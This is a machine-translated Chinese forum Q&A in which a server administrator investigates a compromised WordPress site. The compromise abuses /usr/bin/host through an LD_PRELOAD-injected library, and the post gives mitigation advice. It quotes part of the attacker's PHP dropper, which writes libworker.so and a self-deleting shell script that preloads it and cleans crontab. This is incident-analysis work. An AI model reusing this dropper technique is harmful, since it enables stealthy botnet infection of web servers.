/ usr / bin /主机被黑客PHP脚本执行

今天,我注意到Apache Web服务器上的exception高请求率,以及相当高的传入networkingstream量。 在检查Apache的mod_status页面后,我发现有问题的URL是来自www.server.com/www/wp-includes/js/tinymce/plugins/wpautoresize/path。 事实上,我发现了几个黑客(混淆)的PHP脚本。

还注意到www-data用户执行的奇怪过程:

 www-data 7300 10.8 0.1 2122900 18768 ? Ssl Jul11 121:47 /usr/bin/host 

检查/proc/7300/cmdline显示确实这是原始的/usr/bin/host二进制文件。 netstat -anp显示它有很多HTTP连接打开,所以二进制文件被滥用。 debsums证实二进制校验和是可以的。 由于这个过程是在www-data用户下运行的,我没有理由相信服务器本身已经被攻破。

这个二进制文件如何被滥用?

编辑:这不是广泛的“如何处理妥协的服务器”的问题。 而是一个关于某种特定types的滥用的问题(而且已经是一个答案),它在技术上是如何完成的,因为这个案例在工作方式上颇具创造性。 看来这是几年来的疯狂(2012年的旧线和问题),我本周遇到了它。

在挖掘了冒犯的PHP脚本和谷歌search( 这个线程 )的源代码后,我find了一个解释。

这是我已经find的system.php代码的一部分:

 <?php // ... $n = file_put_contents("./libworker.so", $so); $AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; $HBN=basename("/usr/bin/host"); $SCP=getcwd(); @file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n"); // ... 

/usr/bin/host是如何更高级的。 程序使用库( .so文件)的一些function。 用户可以在启动合法的二进制文件之前预先链接( LD_PRELOAD )一些.so文件,以改变其行为。

正如你所看到的,这个脚本创build一个libworker.so文件,并使用LD_PRELOAD环境variables来预加载它,所以合法的host二进制文件正在做一些完全不同的事情。

它创build一个1.sh shell脚本,并尝试以几种方式执行它(直接使用命令,使用cron)。 之后立即从磁盘中删除脚本和库文件,所以它不被注意。

首先发生的事情是,一些易受攻击的WordPress插件被滥用,攻击者可以将他们的文件放入可以写入文字的目录中。

缓解意味着分析该域的旧访问日志文件,并试图find任何exception位置的POST请求 – 例如直接访问WP / Joomla插件的PHP文件是不寻常的。 然后删除所有find的混淆PHP文件,修复目录权限,终止正在运行的host进程和监视日志文件的任何企图的重新黑客入侵。

编辑:我已经从ESET的信息,他们alredy检测到这个特定的图书馆,还有其他版本。 反病毒公司给它命名Roopre ,它似乎被用作Mayhem僵尸networking的一部分。

对Mayhem僵尸networking进行深入分析 。

深入分析这个漏洞。